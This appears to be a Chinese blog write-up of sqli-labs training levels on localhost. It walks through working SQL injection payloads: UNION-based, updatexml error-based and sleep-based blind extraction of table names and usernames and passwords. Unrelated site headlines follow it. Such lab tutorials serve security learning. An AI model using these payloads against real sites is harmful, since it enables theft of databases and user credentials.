sqli通关笔记(1-4,5,9)
一、Less-1http://127.0.0.1/sqli/Less-1/?id1根据在URL中输入对应内容发现页面正常回显说明该传参为get方式1、首先判断注入类型http://127.0.0.1/sqli/Less-1/?id1 and 12 --在URL中输入此段代码发现页面正常回显由此可以得出此关卡为字符型注入原理分析我们可以通过查看页面源代码找到对应查询语句$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;该语句说明了SQL在查询时采用的传参方式我们输入到URL上面的内容会拿去直接传给参数$id当我们输入id1 and 12时会被放入最终变为id1 and 12在SQL语句里面这句话是可以正常执行的虽然12是恒不成立但是SQL是读取到id1这个选项的只是会有一个警告信息页面是可以正常回显内容的根据这个原理我们能够得出这个sql注入是字符型的2、判断字符型注入的闭合方式http://127.0.0.1/sqli/Less-1/?id1 and 12 --由步骤1我们已经得出这一关是字符型注入接下来我们就需要判断它的闭合方式在第一步的URL基础上进行闭合符的添加常见的闭合方式有 ) )等我们一个一个试原理依旧和第一步的原理差不多当我们加入闭合符时发现页面无法正常显示这是因为我们语句使用的是and语句且条件是恒不成立的此时页面没有正常回显说明语句已经闭合所以闭合符是3、判断列数http://127.0.0.1/sqli/Less-1/?id1 order by 3 --http://127.0.0.1/sqli/Less-1/?id1 order by 4 --在确定注入类型和闭合方式以后我们需要判断这个数据表的列数通常我们使用order by 这个关键字当我们使用order by 3时页面正常显示但当我们使用order by 4时页面显示找不到第四列说明我们目前实用的数据表里面只有三列。原理分析order by判断列数是利用了SQL查询时的报错信息在sql里面查询查不到该列也是同样的报错我们可以利用这个报错信息进行列数判断4、判断回显位置http://127.0.0.1/sqli/Less-1/?id-1 union select 1,2,3 --判断完注入类型、闭合方式、列数后我们就需要明白这个页面的回显位置寻找回显位置我们使用的是union联合查询的方式因为我们前面已经找到列数为3union查询的要求是前后查询目标的列数要保持一致所以我们在使用union select时需要将使用三个列此处我们使用select 123 来判断数据的回显位置通过页面的相应我们能够观察到回显位置为第二列和第三列那么我们就可以利用回显位置来获取信息比如数据库名可以直接获取到数据库的名字为security接下里我们就利用这些基础信息来获取库表数据等信息5、获取数据表名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --获取表名我们依旧使用union联合查询注意列数一定要为3否则union无法正常执行我们在前面已经知道了数据库名为security我们就可以利用数据库名来为查询添加限制条件。原理分析语句中使用的group_concat的作用是将查询到的内容拼接显示默认逗号分隔同样我们也可以指定连接符这里使用的知识还有数据库的基本结构这里有一个数据库存储元数据-information_schema这里面存储的是数据库名、表名、列的数据类型、访问权限等此时我们只需要指定tables表内的table_name为我们刚刚查询出来的security就可以获得security库内的所有表名6、获取列名http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --information_schema库内有一个columns表专门用来存储字段可以利用这个表来获取我们需要的表内字段名注意查询内容要换成columns内的column_name字段并且同时约束为security库内的users表我们就可以查询到users表内有id username password三个字段7、获取表内数据http://127.0.0.1/sqli/Less-1/?id-1 union select 1,group_concat(id,~,username,~,password),3 from users --当我们拿到数据库数据表的内容后我们就可以使用group_concat函数将表内的数据拼接显示出来二、Less-2根据前面的步骤一步一步进行由此可得第二关是数字型注入其余都和第一关一样只需要将闭合符号去掉即可三、Less-3根据页面显示可以判断出第三关为字符型注入接下里我们判断闭合方式依旧尝试不同的闭合符我们通过报错发现闭合符为)验证闭合符正确接下来的步骤和之前一样四、Less-4根据页面回显内容可以得出这一关是字符型注入此时我们去判断它 的闭合方式尝试常见的几种闭合符判断出闭合符是)接下里就和前几关一样五、Less-51、判断注入类型根据页面显示内容我们可以得出这一关依旧是字符型注入但是在显示上面不同依旧先判断闭合方式。2、判断闭合方式尝试发现闭合方式为我们按照常规方式接下来判断列数3、判断列数此时能判断出来列数为3但是要注意页面显示方式不同它不会再显示数据内容只会显示you are in 和报错信息判断这一关是布尔盲注我们需要利用页面的报错信息来获取我们需要的内容 。4、获取数据库名接下来我们就需要使用到一个函数updatexml() 这个函数的作用是查找并替换xml⽂档中符合条件的节点的值语法格式updatexml(文档对象名称,字符串位置,即将替换成的具体内容)http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select database()),~),1)--5、查询数据表名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),~),1)--6、获取列名http://127.0.0.1/sqli/Less-5/?id1 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers ),~),1)--7、获取表内数据http://127.0.0.1/sqli/Less-5/?id1 and updatexml(~,concat(~,(select group_concat(id,~,username,~,password) from users),~),~)--六、Less-9通过页面显示的内容我们发现不管我们输入什么东西页面都显示同一个内容这说明不是像前面四关那么普通的注入同时也不是第五关的布尔盲注我们无法通过页面显示的内容获取所需要的信息此时可以考虑时间盲注http://127.0.0.1/sqli/Less-9/?id1 and if(11,sleep(5),1)-- --这句话的意思是先判断第一个节点内的内容若为真则执行第二个节点若为假则执行第三个节点11这是恒成立语句所以应该执行第二个节点的内容即休眠五秒观察页面左上角页面确实休眠五秒那么我们就可以利用这个原理去查找判断我们所需要的信息1、判断数据库长度http://127.0.0.1/sqli/Less-9/?id1and if(length((select database()))9,sleep(5),1)--按照这个语句不断试探数据库的字符长度可以使用,最终得出数据库名的字符长度为82、获取数据库名http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)--根据这个语句不断试探最终得出数据库名为security3、获取数据表名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))13,sleep(5),1)--这个语句用于判断表名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)这个语句用于判断表名一个一个试获取数据表名4、获取列名http://127.0.0.1/sqli/Less-9/?id1and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))25,sleep(5),1)--此语句用来判断列名长度http://127.0.0.1/sqli/Less-9/?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)--此语句用来判断列名依旧是通过不断缩小范围不断尝试获取列名5、获取内容http://127.0.0.1/sqli/Less-9/?id1 and if(ascii(substr((select group_concat(username,password) from users),1,1))50,sleep(5),1)--通过不断尝试获取内容

相关新闻

一次抓“小偷”的经过(找出偷走当前活动窗口的小偷)

一次抓“小偷”的经过(找出偷走当前活动窗口的小偷)

最近在使用Windows的过程中,经常发现当前活动窗口被莫名其妙切换走,需要按AltTab键或用鼠标左键单击恢复,很烦人。于是写了一个每隔0.5秒获取当前窗口对应的进程PID,窗口标题和对应进程全路径名,有变化时记录到日志文件…

2026/7/24 20:53:11 阅读更多 →
Windows Defender彻底移除指南:3种系统优化方案与完整实施流程

Windows Defender彻底移除指南:3种系统优化方案与完整实施流程

Windows Defender彻底移除指南:3种系统优化方案与完整实施流程 【免费下载链接】windows-defender-remover A tool which is uses to remove Windows Defender in Windows 8.x, Windows 10 (every version) and Windows 11. 项目地址: https://gitcode.com/gh_mir…

2026/7/24 20:53:11 阅读更多 →
Efficient Streaming Language Models with Attention Sinks

Efficient Streaming Language Models with Attention Sinks

StreamingLLM论文精读:为什么只保留开头几个Token,就能让模型持续生成数百万Token? 在普通大语言模型中,KV Cache会随着对话或文本长度不断增长。最直接的解决办法是只保留最近一段Token,也就是滑动窗口。 但论文发现…

2026/7/24 20:53:11 阅读更多 →

最新新闻

Minecraft启动器终极指南:如何用PCL2一键解决所有游戏问题

Minecraft启动器终极指南:如何用PCL2一键解决所有游戏问题

Minecraft启动器终极指南:如何用PCL2一键解决所有游戏问题 【免费下载链接】PCL Minecraft 启动器 Plain Craft Launcher(PCL)。 项目地址: https://gitcode.com/gh_mirrors/pc/PCL 厌倦了复杂的Minecraft启动配置?被模组冲…

2026/7/24 21:02:14 阅读更多 →
复赛飞书群很闹吵

复赛飞书群很闹吵

正式进入复赛是350个项目,大部分是个人参赛,群里有367个人,除掉几位管理员,说明有人的确组团参赛了。 这个闹吵吵的氛围还是挺好的。 可惜没有太多时间凑热闹。 我老早就把复赛更新的文档放到论坛,希望能够“抛砖引…

2026/7/24 21:02:14 阅读更多 →
Linux PipeWire深度解析之pw_context_connect_fd调用流程与实战(二十五)

Linux PipeWire深度解析之pw_context_connect_fd调用流程与实战(二十五)

简介: CSDN博客专家、《Android系统多媒体进阶实战》作者 博主新书推荐:《Android系统多媒体进阶实战》🚀 Android Audio工程师专栏地址: Audio工程师进阶系列【原创干货持续更新中……】🚀 Android多媒体专栏地址&a…

2026/7/24 21:02:14 阅读更多 →
我与 IT 这三十年:2009,代码开始在广场上生长

我与 IT 这三十年:2009,代码开始在广场上生长

2008 年写的是手机平台。到了 2009 年,另一个变化开始变得清楚:协作方式变了。 GitHub 是 2008 年上线的,但很多人的真正感知是在随后几年逐渐建立起来的。它不是第一个代码托管网站,也不是第一个版本控制工具。SourceForge、Goo…

2026/7/24 21:02:14 阅读更多 →
如何快速掌握Switch大气层系统:从安装到高级配置的完整教程

如何快速掌握Switch大气层系统:从安装到高级配置的完整教程

如何快速掌握Switch大气层系统:从安装到高级配置的完整教程 【免费下载链接】Atmosphere-stable 大气层整合包系统稳定版 项目地址: https://gitcode.com/gh_mirrors/at/Atmosphere-stable 大气层系统(Atmosphere)是任天堂Switch上最强…

2026/7/24 21:02:14 阅读更多 →
3分钟快速解锁:终极免费QQ音乐解密转换器qmc-decoder使用指南

3分钟快速解锁:终极免费QQ音乐解密转换器qmc-decoder使用指南

3分钟快速解锁:终极免费QQ音乐解密转换器qmc-decoder使用指南 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 你是否曾遇到过这样的困扰?在QQ音乐精…

2026/7/24 21:01:14 阅读更多 →

日新闻

用Highcharts 创建可拖拽三维散点立方体3D图表

用Highcharts 创建可拖拽三维散点立方体3D图表

该案例基于Highcharts scatter3d 三维散点图实现空间立方体散点可视化,核心特色:三维 X/Y/Z 三轴空间,所有散点分布在 0~10 立方体空间内;散点使用径向渐变实现立体 3D 圆球质感;支持鼠标 / 触屏拖拽画布,…

2026/7/24 0:00:29 阅读更多 →
AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口

AppCertDlls:进程创建路径上的 DLL 入口 AppCertDlls 位于 HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls。本文的程序功能是只读列出这个键在 64 位和 32 位注册表视图中的全部值,并显示每条值的来源、名称、类型和可安全显示的数…

2026/7/24 0:00:29 阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:29 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 3:59:20 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 1:23:39 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/24 18:52:18 阅读更多 →

月新闻